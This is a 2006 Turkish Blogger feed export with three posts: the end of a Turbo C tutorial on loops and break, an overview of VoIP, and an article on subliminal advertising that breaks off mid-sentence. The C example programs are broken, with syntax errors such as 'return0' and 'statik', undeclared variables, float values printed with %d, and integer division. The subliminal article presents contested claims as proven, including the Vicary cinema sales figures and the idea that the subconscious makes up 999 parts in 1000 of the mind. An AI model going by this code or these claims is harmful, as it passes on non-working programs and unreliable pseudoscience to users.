(i=3; ;++i)&lt;br /&gt;{&lt;br /&gt;if(şart )break;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;While döngüsü:&lt;br /&gt;&lt;br /&gt;While döngüsünde şart testi döngü başındadır. Bu yüzden döngü içersine girmeden şart testi kontrol edilir. Şart testi doğru ise döngüye girilir ve döngü içersindeki ifade veya ifade bloğunun icrası yapılır. Bu ifadelerin icrasından sonra tekrar şart testinin yapıldığı döngü başına gidilir. Bu işlemler şart testinin yanlış olmasına kadar devam eder. Şart testi yanlış olduğunda döngüden çıkılır. While döngüsünün basit yapısı aşağıdaki gibidir.&lt;br /&gt;&lt;br /&gt;while(şart testi) ifade;&lt;br /&gt;örneğin...:&lt;br /&gt;#include (stdio.h)&lt;br /&gt;#include (conio.h)&lt;br /&gt;char ch;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;while (ch=getch())!=’e’)&lt;br /&gt;printf("döngünün içindesin");&lt;br /&gt;printf("döngünün dışındasın");&lt;br /&gt;return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Do-While Döngüsü:&lt;br /&gt;&lt;br /&gt;Eğer ifade bloğu en az bir defa işlem görecekse veya kontrol parametreleri, işlem gören ifadelerden elde edilecekse do-while yapısı kullanılabilir. Bu ifadenin basit yapısı aşagıdaki gibidir.&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;ifade&lt;br /&gt;while(şart testi);&lt;br /&gt;&lt;br /&gt;Şart testi döngünün sonunda yapıldığı, için bu döngüdeki yani do-while arasındaki ifade en az bir defa icra görür. Bu döngüden şart testi yanlış olduğu zaman çıkılabilir. Eğer do-while arasında birden fazla ifade yazılması gerekiyorsa o zaman aşağıdaki genel formu kullanılır.&lt;br /&gt;&lt;br /&gt;do {&lt;br /&gt;ifade_1;&lt;br /&gt;ifade_2;&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;ifade_n;&lt;br /&gt;} while (şart testi);&lt;br /&gt;&lt;br /&gt;örneğin.....:&lt;br /&gt;#include&lt;br /&gt;int x,y;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;x=y=0;&lt;br /&gt;do { ++x; ++y&lt;br /&gt;printf("%d+%d=%d\n",x,y,++y);&lt;br /&gt;}&lt;br /&gt;while(x&lt;=5);&lt;br /&gt;return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Break İfadesinin kullanımı&lt;br /&gt;&lt;br /&gt;Break ifadesi sadece do-while, while,for ve switch ifade bloğundaki işlemi belirli bir yerde kırmak için kullanılır. Break’in kullanılması ile işlem sırası, kırılan ifade bloğundan sonra gelen ifadeye geçer.&lt;br /&gt;&lt;br /&gt;for (başlangıç ; şart ; artım)&lt;br /&gt;{&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;if(şart)break;&lt;br /&gt;:&lt;br /&gt;}&lt;br /&gt;ifade;&lt;br /&gt;&lt;br /&gt;Burada döngü sonuna ulaşmadan önce istenilen önce istenilen diğer bir şartın sağlanması ile döngüden break kullanılarak çıkılır.&lt;br /&gt;&lt;br /&gt;Örneğin....:&lt;br /&gt;#include&lt;br /&gt;int a,b,i;&lt;br /&gt;float oran;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;for (i=0;i&lt;=5;++i)&lt;br /&gt;{&lt;br /&gt;printf("a ve b değerlerini girin");&lt;br /&gt;scanf("%d %d",&amp;a,&amp;b);&lt;br /&gt;if (b==0) break;&lt;br /&gt;oran=a/b;printf("a/b=%d\n",oran);&lt;br /&gt;}&lt;br /&gt;return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ÖRNEKLER:&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;int i,k,fak;&lt;br /&gt;float e;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;e=o;&lt;br /&gt;printf("bir sayı gir");scanf("%d",&amp;k)&lt;br /&gt;for (i=0;i&lt;=k;++i)&lt;br /&gt;{&lt;br /&gt;for (j=0;j&lt;=i;++j)&lt;br /&gt;{&lt;br /&gt;if (j==0)fak=1;&lt;br /&gt;}&lt;br /&gt;e=e+(1/fak);&lt;br /&gt;}&lt;br /&gt;return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;int i,k;&lt;br /&gt;float e,m;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;k=34;&lt;br /&gt;for (i=1,e=m=1,i&lt;=k;++i);&lt;br /&gt;e+=1/(m*=i);&lt;br /&gt;printf("e=%f\n",e);&lt;br /&gt;getch() return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;int i,j,a,b,c;&lt;br /&gt;int topla()&lt;br /&gt;{&lt;br /&gt;i++;j--;return i*a-j*b;&lt;br /&gt;}&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;i=0;j=10;a=2;b=3;&lt;br /&gt;while(j)&lt;br /&gt;c=topla();&lt;br /&gt;printf("%d\n",c);&lt;br /&gt;}&lt;br /&gt;return0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;void max(int a;int b);&lt;br /&gt;{&lt;br /&gt;printf("max=%d\n",(a&gt;b)?(a) : (b));&lt;br /&gt;}&lt;br /&gt;int i,j,k;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;i=10;j015;max(i,j);&lt;br /&gt;return0&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;int x=5;&lt;br /&gt;void a();&lt;br /&gt;{&lt;br /&gt;statik int x=0;&lt;br /&gt;printf("statik x\’in şuanki değeri:%d\n",x);&lt;br /&gt;x--;&lt;br /&gt;a();&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970856408601242?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970856408601242/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970856408601242' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970856408601242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970856408601242'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/turbo-c-hakkinda-genel-bilgiler.html' title='Turbo C Hakkinda Genel Bilgiler'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970839586227168</id><published>2006-10-01T05:08:00.000-08:00</published><updated>2006-10-01T05:13:15.956-08:00</updated><title type='text'>VOIP Voice over IP ( Internet Protocol ) Nedir?</title><content type='html'>Bilgisayar ağları ve ağ bileşenlerindeki teknolojik gelişim son yıllarda noktalar arası veri haberleşme hızları ile paralel bir gelişim süreci içerisine girmiştir. Bu gelişmelere paralel olarak mevcut ağ altyapıları üzerine eklenen yeni teknolojiler, geliştirilen yeni protokoller ve teknikler ile birlikte bilgisayar ağları sadece bilgisayarlar için veri haberleşmesi alanında değil, başka alanlarda da hizmet vermeye başlamışlardır.&lt;br /&gt;&lt;br /&gt;Bunlardan en etkileyici olanı ise VoIP olarak karşımıza çıkmaktadır. Aslında VoIP genel olarak mevcut telefon şebekesi ağ mimarisi üzerinde yapılan geliştirme çalışmaları sonucunda ortaya çıkan bir teknolojidir. Önceki zamanlarda anahtar devreli telefon sistemleri üzerinde ses haberleşmesi sağlarken günümüzde artık telekominikasyon şirketleri paket devreli sistemler üzerine geçerek IP tabanlı altyapılara dönmeye başlamışlardır.&lt;br /&gt;&lt;br /&gt;Telefon şebekelerinde kullanılan SS7 sinyalleşmesi ağ yapısı, IP tabanlı ağlar olarak çok daha düşük maliyetli sistemlere dönüşmüş ve bunlar üzerinden ses aktarımı gerçekleşmiştir. Bu değişim süreci kullanıcılara analog hatlardan digital hatlara geçiş olarak yansımış ve gerek ses kalitesi olsun gerek bağlantı süreleri olsun pekçok gelişmeyi beraberinde getirmiştir.&lt;br /&gt;&lt;br /&gt;VoIP telekom alanında gerçekleşen gelişmeleri takiben bilgisayar ağları üzerine geliştirilen sıkıştırma protokolleri ve ekipmanlar ile hayatımıza girmeye başlamıştır.&lt;br /&gt;&lt;br /&gt;Kısa bir tanım yapmak gerekirse VoIP internet veya data hatları üzerinden ses aktarımı olarak açıklanabilir.&lt;br /&gt;&lt;br /&gt;Bu gibi bir durumda insanların aklına gelebilecek en temel sorulardan birisi, mevcut telefon altyapısı ile zaten konuşmalarımı yapabiliyorum, neden VoIP ?&lt;br /&gt;&lt;br /&gt;Cevap aslında çok basittir. Maliyet...&lt;br /&gt;Belirli bant genişliğine sahip data hatları için ödenen ücret sabittir. Bu hatlar üzerinden VoIP ekipmanları ve protokolleri kullanılarak istenilen miktarda telefon görüşmesi yapılabilir. Bu durumda sabit bir ücret ve kurulum maliyetleri ile telefon hatlarından yapacağınız görüşmenin kalitesine çok yakın ( kimi zaman farkedilmeyen ) bir kalitede çok daha ucuza telefon görüşmesi yapma imkanı bulabilirsiniz.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gelelim VoIP bileşenlerine..&lt;br /&gt;&lt;br /&gt;Aslında bu yazıda amacım detaylı olarak VoIP teknolojilerini anlatmak değil. Nitekim VoIP sadece 1 makale ile anlatılabilecek bir konuda değil, tabii 2000 sayfalık bir makale yazmadığım sürece. Bu yazıda temel olarak VoIP’in ne olduğu, kullanım alanları, ne gibi farklı şekillerde kurulum yapılabileceği ile ilgili örnekler ve açıklamalar yapmak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VoIP’in data hatları üzerinden ses aktarımı olduğu açıklamasını takiben bazı bilgiler vermenin yerinde olacağı kanısındayım.&lt;br /&gt;&lt;br /&gt;VoIP sadece data hatları ve data transferi için gerekli olan ekipmanlar ile yapılamaz ( tabii soft çözümler vardır fakat gerek kalite olarak gerek kontrol olarak sıkıntı yaratabilir )&lt;br /&gt;Ciddi anlamda VoIP yapabilmek için gerekli olan ekipmanları ve yazılımları sağlamanız gerekmektedir. Ben örnekler vermek suretiyle en basitinden komplex yapılara doğru hafif olarak değinmek istiyorum.&lt;br /&gt;&lt;br /&gt;Soft Çözümler&lt;br /&gt;&lt;br /&gt;Soft çözümler herhangi bir donanım kurulumu gerektirmeden sadece PC’lere kurulabilen yazılımlar aracığı ile yapılan ses haberleşmesidir. Yaygın olarak SJPhone gibi yazılımlar ile bilgisayar kaynakları kullanılarak, karşılıklı iki ip arasında kullanılabilir. Bu yazılımlar gerektiği takdirde VoIP donanımlarını simule eden diğer yazılımlar ile desteklenerek ek özellikler kazanabilir.&lt;br /&gt;&lt;br /&gt;En ucuz çözümdür, gerekli bant genişliğinde rahat konuşma imkanı sağlar fakat üzerine kurulu olduğu PC için sadece ses kartı ile ilgili bir takım yatırımlar isteyebilir.&lt;br /&gt;&lt;br /&gt;İki nokta arası Hard Çözümler&lt;br /&gt;&lt;br /&gt;Bu kısımda sisteme eklenecek olan ekipmanlar ile iki nokta arasındaki data hattı kullanılarak yapılabilecek VoIP için açıklama yapacağım.&lt;br /&gt;&lt;br /&gt;Bu gibi case’ler için çok farklı çözümler önerilebilir, desteklendiği takdirde, PBX santrallere yapılabilecek olan eklentiler ile dahili hatlardan 2 ofis arasında VoIP kullanmak, Voice Gateway kullanarak belirli telefonlar üzerinden iki nokta arasında ses haberleşmesi kullanmak. Birkaç farklı ürün kullanarak masalara konulacak olan Cisco Phone benzeri ürünler ile farklı noktalar arasında SIP protokolü ile haberleşmek vs. gibi çözümler geliştirilebilir. Bu çözümler 300 dolardan 30.000 dolara hatta daha üstüne kadar maliyetlere çıkabilir. İhtiyaçlarınıza bağlı olarak profesyonel yardım ile bu tarz sistemleri kurabilirsiniz.&lt;br /&gt;&lt;br /&gt;Şehirler Arası, Ülkeler Arası Ses Trafiği&lt;br /&gt;&lt;br /&gt;Bu gibi durumlarda evlerinizdeki telefonlardan veya yine sisteminize yapılacak eklentiler ile dahili telefonlarınız üzerinden şehirler arası veya ülkeler arası görüşmeler yapabilirsiniz. Burada maliyetler %90 oranında normal telefon hatlarına kıyasla düşüş göstermektedir. Kalitedeki düşüş doğal olarak yapacağınız yatırım ve kullandığınız bant genişliği ile orantılıdır.&lt;br /&gt;&lt;br /&gt;Şehiriçi telefon şebekesi kullanılarak yurtdışı aramaları ile ilgili olarak verilebilecek en iyi isim Hybrid Mimarilerdir, burada telekom telefon şebekesi üzerinden aranacak bir telefon numarası ile kullanıcı VoIP sistemine alınır ve bu sistem içerisinden istediği noktaya arama yapabilir. Bu sistemler çok ciddi yatırım ve bilgi isteyen sistemlerdir. 3rd party şirketler tarafından belirli bir ücret karşılığında verilen hizmetlerdir ve karşılığında ihtiyaçlarınız oranında telefon maliyetlerinizi %70-80 oranında düşürebilecek sistemlerdir.&lt;br /&gt;&lt;br /&gt;Bu makale kapsamında Hybrid Sistemler ile ilgili fazla detay vermek istemiyorum, bunun nedeni ciddi anlamda komplex yapılara sahip sistemler olması, gerek soft açıdan gerek donanımsal açıdan milyon dolarlık kurulum maliyetledine, ciddi know-how’a sahip olunması gereken sistemler olması ve aynı işi yapabilmek için kullanılabilecek farklı teknolojilerin ve ekipmanların yelpazesinin inanılmayacak kadar geniş olmasından dolayı çok fazla teknik bilginin verilmesini gerektiren bir konu olması sıkıntı yaratabilir.&lt;br /&gt;&lt;br /&gt;Kezaa bu tip sistemlerde iş artık bilgisayar ağları ile telekom ağlarının iç içe çalışmasını gerektiren, veri haberleşme yöntemleri konusunda derin çalışmalar gerektiren, 1000’lerce farklı ekipman ve yazılım arasından ihtiyaçları en iyi karşılayacak olan ekipman ve yazılımların seçiminde hata affetmeyen bir sistem olarak karşımıza çıkmakta.&lt;br /&gt;&lt;br /&gt;Bu makalede Hybrid sistemlere giriş yapmaktan çekinmemin bir diğer nedeni ise, verilebilecek yanlış bir bilgide, bilgiyi kullanan için geri dönüşü olmayan bir takım maliyetlerin ortaya çıkabilmesidir.&lt;br /&gt;&lt;br /&gt;Farklı tipte ekipmanların farklı yapılarda farklı görevlerinin olması, bu tip bir yapının tanımını da çok daha zor bir hale getirmektedir.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Genel olarak toplamak gerekirse, VoIP pekçok farklı yol ile kullanılabilecek bir teknolojidir. NGN olarak tabir edilen, Next Generation Networks kapsamında vazgeçilmez bir bileşen olarak karşımıza çıkmakta ver geçen gün yeni kullanım alanları, yeni teknolojiler, yeni ekipmanlar bu pazarda yerini almaktadır.&lt;br /&gt;&lt;br /&gt;Diğer bir konu ise VoIP ile ilgili olarak ülkemizdeki kanuni uygulamaların dikkatli bir şekilde incelenmesi gerekliliğidir. Telekom’un tekel kapsamında olduğu dönemlerden kalan yasaların ileride bu tarz sistemleri uygulamak isteyen sistem yöneticilerinin başlarını belaya sokmaması için dikkatli incelenmesi ve yapılabilecek kanuna aykırı uygulamalardan kaçınılması şiddetle tavsiye edilir.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115970839586227168?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115970839586227168/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115970839586227168' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970839586227168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115970839586227168'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/10/voip-voice-over-ip-internet-protocol.html' title='VOIP Voice over IP ( Internet Protocol ) Nedir?'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35317581.post-115970672281972379</id><published>2006-10-01T04:41:00.000-08:00</published><updated>2006-10-01T04:45:22.930-08:00</updated><title type='text'>Bilinçaltına Gizli Mesaj</title><content type='html'>Bu Konuyu Sonuna Kadar Kim Oku Bilemem Ama Herkesin Okumasını Tavsiye Ederim Sonuna Kadar...&lt;br /&gt;&lt;br /&gt;Bilinçaltına gizli mesaj yerleştirme, Yapabileceklerinizi düşününün !..&lt;br /&gt;&lt;br /&gt;Konuyu açıklayıcı bazı alıntılar:&lt;br /&gt;&lt;br /&gt;"Tamamen subliminal&lt;br /&gt;&lt;br /&gt;Subliminal diye bir yöntemden bahsediliyor günlerdir. Filmlerin şarkıların arasına gizli mesajlar koyuyorlarmış. Normal algılarımız o mesajı fark etmiyor ama bilinçaltlarımız lapin gibi atlıyormuş bu mesaja. Bu hadiseye subliminal deniyormuş. Beatles üyesi Paul Mc Cartney’in aslından bundan 35 sene evvel trafik kazasında öldüğünü de bu yöntemle öğrenmişler. Beatles’in bir şarkısını tersten çalmışlar, "Paul ise dead" diye bir mesaj çıkmış. (Bu tersten çalma işini de hangi manyak akıl ettiyse artık...) Mesela Led Zeppelin’in ayıla bayıla dinlediğimiz ’Stairway to Heaven’ının içinden "Yaşasın şeytanımız, biz onun için yaşıyoruz" gibi abukluklar çıkıyormuş. Buyur buradan yak! Britney Spears’ın bir şarkısının içinden bile "Ben o kadar da küçük değilim, bana her istediğini yapabilirsin" gibi gayet şehvetengiz mesajlar çıkmış. "&lt;br /&gt;&lt;br /&gt;"Hairway To Steven&lt;br /&gt;&lt;br /&gt;Az once ulusal capta yayin yapan bir televizyonun haber bulteninde Led Zeppelin’in Stairway To Heaven sarkisinin tersten calindiginda seytana ovguler duzen subliminal mesajlar icerdigini anlatan bir haber yayinlandi. Sakin ola cocuklariniza dinletmeyin boyle seyleri diye bangirdiyordu televizyon. Bu deli sacmasini yillar once ben de duymustum ama dogal olarak gulup gecmistim. O gunden bugune gulunclugunden hicbir sey kaybetmemis bu komplo teorisi neyse ki. Fakat zaman icinde bizim gozumuzden kacan seyler olmus. Megerse bu sadece buzdaginin gorunen kismiymis. Butun rock tarihi, aslinda seytanin gizli hukumranligi altinda faaliyet gosteren satilik ruhlar tarafindan yazilmis (Burada kucuk bir dipnot dusup sadece tek bir kisinin ruhunu satmayi beceremedigini, yine de hic olmazsa bizim nezdimizde rock tarihinde guzel bir yere sahip oldugunu belirtmek isterim). Web uzerinde bu konuda derli toplu bir kaynak yine her zamanki gibi Wikipedia’da bulunabiliyor. Judas Priest (ozellikle grup uyelerinin savunmasi) ve deliberate backmasking basligi altinda Pink Floyd orneklerine bir goz atin. Bu bana yetmedi derseniz bu adreste Yoko Ono’nun Lennon’i oldurdugunu nasil itiraf ettigini (Biliyordum! Hemen tutuklayin o kadini!) ya da Pokemon’un televizyonda gosteriminin yasaklanmasinin aslinda ne kadar dogru bir karar oldugunu goreceksiniz. Konuya bilimsel yaklasanlari da gormek mumkun ama hayir "Ben dunyamizi ele gecirmeye calisan bu iblislere karsi bir nefer olmak niyetindeyim" diyorsaniz, ne diyelim, o zaman size Exorcist olmak yakisir."&lt;br /&gt;&lt;br /&gt;"AKP Adana Milletvekili Atilla Başoğlu, tüketiciyi bilinçaltı reklama karşı korumak amacıyla bir yasa teklifi verdi. Başoğlu’nun gündeme getirdiği reklam türü, televizyon izleyicisinin, hakkında bilgi sahibi olmadığı dahası görmediği, farketmediği bir reklam türü. Nasıl mı? Subliminal yöntemle hazırlanan bu reklamlarda, bilinçaltına gizli mesaj ve resimler gönderiliyor. Gözle görülmeyen bu mesaj ve resimler bilinçaltına ulaşıyor ve tüketici üzerinde normal bir reklamdan çok daha yüksek oranda etki bırakıyor.&lt;br /&gt;&lt;br /&gt;SUBLİMİNAL REKLAMCILIK&lt;br /&gt;&lt;br /&gt;Subliminal reklamcılık denen bilinçaltını hedef alan bu tür reklamlar ilk kez 1950’li yıllarda Amerika’da ortaya çıktı. James Vicary adlı reklamcılık uzmanı, sinema salonlarında yaptığı bir deney sonucu patlamış mısır ve kola satışlarının arttığını iddia etti. Bu deneyde film perdede oynarken, saliselik görüntüler halinde ‘patlamış mısır ye’ ve ‘Kola iç’ sloganları çıkıyordu. Seyirci bu sloganları bilinciyle algılayamadığı halde, bilinçaltına hitap eden bu sloganlar sayesinde Kola satışlarının yüzde 18.1, patlamış mısır satışlarının ise yüzde 57.7 arttığı iddia edildi. Bilinçaltı reklamları Amerika ve İngiltere gibi ülkelerde yasaklandı.&lt;br /&gt;&lt;br /&gt;Bilinçaltı reklamları üzerine araştırmalar yapan Metin Çelik, bize bilinçaltı reklamlarında, izleyen kişinin, görmediği görüntüler, duymadığı sesler tarafında nasıl olup da yönlendirildiğini bilimsel verileriyle anlattı. Bilinçaltı reklamlarının gücünü, ürünün satışını nasıl etkilediğini örnekleriyle ortaya koydu. İnanılması zor, hadi canım dedirtecek iddialarda bulundu.&lt;br /&gt;&lt;br /&gt;AKP Adana Milletvekili Atilla Başoğlu, tüketiciyi bilinçaltı reklamlara karşı korumak amacıyla bir yasa teklifi sundu. Sizin de bu konuda çalışmanız var. Nedir bilinçaltı reklamı?&lt;br /&gt;&lt;br /&gt;Bilinçaltı dediğimiz şey, bilincin binde 999’unu oluşturuyor. Yani siz şu anda beni binde 1 seviyesinde görüyorsunuz.&lt;br /&gt;&lt;br /&gt;Nasıl yani?&lt;br /&gt;&lt;br /&gt;Şöyle: Gözün fovea hareketleri sizin şu anda görmediğiniz şeyleri de görüyor. Göz devamlı bir tarama içinde. Tarıyor ve aldığı bilgileri bilinçaltına atıyor. Bu söylediklerim bilimsel verilerdir. Biz, normal şartlarda gözümüzün fovea hareketleriyle beynimizde depolanan şeylerin çok azını hatırlıyoruz. Ama mesela markete gittiğimizde 10 tane deterjan arasından 1 tanesini çekip alıyoruz. Yani gördüğümüzün ve de duyduğumuzun farkında olmadığımız şeylerin, bilinç yüzeyine çıkarak bize o malı satın aldırması söz konusu.&lt;br /&gt;&lt;br /&gt;Yani biz görmediğimizi zannettiğimiz şeyleri aslında görüyoruz.&lt;br /&gt;&lt;br /&gt;Evet. Mesela hemen şimdi bir test yapalım. Eviniz de kaç pencere var?&lt;br /&gt;&lt;br /&gt;Bir saniye…. 5 pencere var.&lt;br /&gt;&lt;br /&gt;Bu cevabı vermek için sol üst köşeye bakarak düşündünüz.&lt;br /&gt;&lt;br /&gt;Öyle mi? Olabilir; sağa da bakabilirdim yahut önüme de.&lt;br /&gt;&lt;br /&gt;Belki. Ama bunu siz de deneyebilirsiniz. Kime sorarsanız sorun sol üst köşeye bakarak düşünecek ve cevap verecektir.&lt;br /&gt;&lt;br /&gt;Neden?&lt;br /&gt;&lt;br /&gt;İnsan beyni sağ ve sol beyin olmak üzere ikiye ayrılır. Sağ beyin resimleri, grafikleri depoluyor. Sol beyin ise sayıları, formülleri isimleri vs.&lt;br /&gt;&lt;br /&gt;O halde sağ üst köşeye bakmam gerekmez miydi?&lt;br /&gt;&lt;br /&gt;Çapraz bir görme sistemimiz var. Sağdaki klasörü kullanmak için sola, soldakini kullanmak için sağa bakarız. Bilinçli yapılan reklamlarda bu bilgi mutlaka kullanılır. Bakın Gerçek Hayat’ın kapağı da bu şekilde.&lt;br /&gt;&lt;br /&gt;Bu hafızada kalmayı mı kolaylaştırıyor?&lt;br /&gt;&lt;br /&gt;Tabii ki. Aslında kimse, “bu ürünün reklamını gördüm, gidip alayım” demez. Ama ihtiyacımız olduğunda gidip bilinç altımızda saklı olan bilgilerin verdiği komutla seçim yaparız.&lt;br /&gt;&lt;br /&gt;Reklamverenler Derneği’nin yaptırdığı bir araştırmaya göre, Türkiye’de televizyon izleyicilerinin yüzde 77’si televizyonlarda çok fazla reklam yayınlandığını düşünüyor. Reklam çıktığında kanal değiştirdiklerini ya da bir ihtiyaçlarını giderdiklerini söylüyor. Bu durumda gene de reklamların etkisi çok mu yüksek?&lt;br /&gt;&lt;br /&gt;Bir reklamdan etkilenmek için o reklamı pür dikkat seyretmeniz gerekmiyor. Bir reklamla bir kere de olsa karşılaşmış olmamız yeterlidir. Tabii ki reklam stratejisi başarılı reklamlar için geçerlidir bu. Önemli olan marka bilinci oluşturmak. Coca Cola’yı düşünün. Dünyada reklama en fazla bütçe ayıran markadır. Coca Cola, her reklamıyla markasını gündemde tutar. “Ben zaten yeterince satıyorum, reklam için bu kadar para harcamama gerek yok” diye düşünmüyor. Çünkü reklam marka için vazgeçilmezdir. Bir ürünü marka haline getiren şey reklamdır.&lt;br /&gt;&lt;br /&gt;Bilinçaltı reklamları ne zaman ve nasıl yapılmaya başlandı?&lt;br /&gt;&lt;br /&gt;1960’lı yıllarda Amerika’da takistoskop denilen bir cihaz sayesinde reklamcılar, bilinçaltına yönelmenin reklamın etkinliğini artırmada daha işlevsel olduğunu farkettiler.&lt;br /&gt;&lt;br /&gt;Nedir bu cihazın özelliği?&lt;br /&gt;&lt;br /&gt;Mesela bu aletle filmlerin içine gizli kareler, gizli mesajlar atılıyor. Biz bunları göz seviyesinde göremiyoruz.&lt;br /&gt;&lt;br /&gt;Göremediğimiz halde etkileniyor muyuz bu görüntülerden?&lt;br /&gt;&lt;br /&gt;Evet etkileniyoruz hem de gözümüzle gördüklerimizden daha fazla.&lt;br /&gt;&lt;br /&gt;Nasıl oluyor bu?&lt;br /&gt;&lt;br /&gt;Göz bunları görmüyor ama saniyenin 3 bin de biri gibi bir zaman aralığında bu görüntü bilinçaltına ulaşıyor. Bu gizli mesajlar sayesinde, insanların bir ürüne yönelimleri temin ediliyor. Mesela bir içki reklamında gözle göremediğimiz you buy (satın al) konutu yer alıyor.&lt;br /&gt;&lt;br /&gt;İnsanlar okuyamadıkları bir ‘satın al’ mesajıyla o ürünü satın almaya yönlendiriliyor öyle mi?&lt;br /&gt;&lt;br /&gt;Evet. İnanamıyor gibi tepki veriyorsunuz ama bunlar kanıtlanmış şeyler.&lt;br /&gt;&lt;br /&gt;Nedir bunun kanıtı?&lt;br /&gt;&lt;br /&gt;Gizli mesajlı reklamların etkisiyle ilgili olarak yapılmış deneyler var. Aynı ürünün gizli mesaj içirenini gören deneklerin beyin dalgalarıyla gizli mesaj içermeyenini gören deneklerin beyin dalgaları karşılaştırılıyor ve arada ciddi bir fark olduğu ortaya çıkıyor.&lt;br /&gt;&lt;br /&gt;Bu deneyin yapıldığı bir reklam ürünü var mı?&lt;br /&gt;&lt;br /&gt;Mesela 5 Temmuz 1971 tarihli Time’ın arka kapağında çıkmış Gilbey’s London Dry Gin reklamı. Reklamda bardaktaki buzlar üzerinde ‘sex’ yazıyor. Bu reklam sayesinde Gilbey’s’in 1.5 milyon dolarlık satış yaptığı tespit edilmiş. Bunun üzerine reklamla ilgili bir araştırma yapılmış. Bu reklam deneklere gösterildiğinde yüzde 60’ı reklamın kendilerinde uyandırdığı etkiyi ‘doyuma ulaşma’, ‘sex düşkünlüğü’, ‘heyecanlanma’, ‘romantizm’, ‘duyguları okşayıcı’ gibi ifadelerle tanımlamış. Reklamın gizli mesaj içermeyen versiyonu ise denekler tarafından bu şekilde tanımlanmamıştır. Bir de az önce sözünü ettiğin beyin dalgalarını ölçen yöntem var. Gizli mesaj içeren reklama beyin daha farkı ve fazla tepki veriyor.&lt;br /&gt;&lt;br /&gt;Bu tür reklamlar çok yaygın mı?&lt;br /&gt;&lt;br /&gt;Yaygın. Özellikle de Amerika’da. Aynı zamanda yasak. Tespit edildiğinde hemen yasaklanıyor.&lt;br /&gt;&lt;br /&gt;Türkiye’de pek çok Amerikan ürününün reklamı gösteriliyor. Aynı gizli mesajlara biz de maruz kalıyor muyuz.&lt;br /&gt;&lt;br /&gt;Elbette kalıyoruz. Artık ürünler gibi reklamlar da ulus aşırı dolaşıyor.&lt;br /&gt;&lt;br /&gt;Sizin Türkiye’de gösterilen reklamlara ilişkin böyle bir araştırmanız var mı?&lt;br /&gt;&lt;br /&gt;Var. Yalnızca reklamlara ilişkin değil filmlerde de bu tür gizli mesajlar kullanılıyor. Benim bu yönde de bir takım araştırmalarım var&lt;br /&gt;&lt;br /&gt;Tespit ettiğiniz reklam yada film oldu mu?&lt;br /&gt;&lt;br /&gt;Oldu. Bununla ilgili uyarı girişimlerim de oldu fakat maalesef sonuç alamadım çünkü bizde bilinçaltı reklamlarına ilişkin ne tam anlamıyla sınırlandırıcı bir kanun düzenlemesi var ne de kamuoyu bu hususta aydınlatılmış.&lt;br /&gt;&lt;br /&gt;AKP Adana Milletvekili Atilla Başoğlu bunu Meclis’te gündeme getirdi. Sizin buna bir katkınız oldu mu?&lt;br /&gt;&lt;br /&gt;Ben bununla ilgili seminerler de veriyorum fakat Atilla Bey’le bir temasım olmadı. Kendisi bu konuyu araştırırken benden haberdar olmuş olabilir.&lt;br /&gt;&lt;br /&gt;Atilla Başoğlu’nun yasa teklifinde bilinçaltı reklamlarıyla ilgili çok ağır cezalar öngörülüyor. Bu kadar etkili bir reklam mı yani bilinçaltı reklamları?&lt;br /&gt;&lt;br /&gt;Evet çok etkili reklamlar. Bu kesin. Mesela bir örnek vereyim. Camel’in tek hörgüçlü devesinin ön 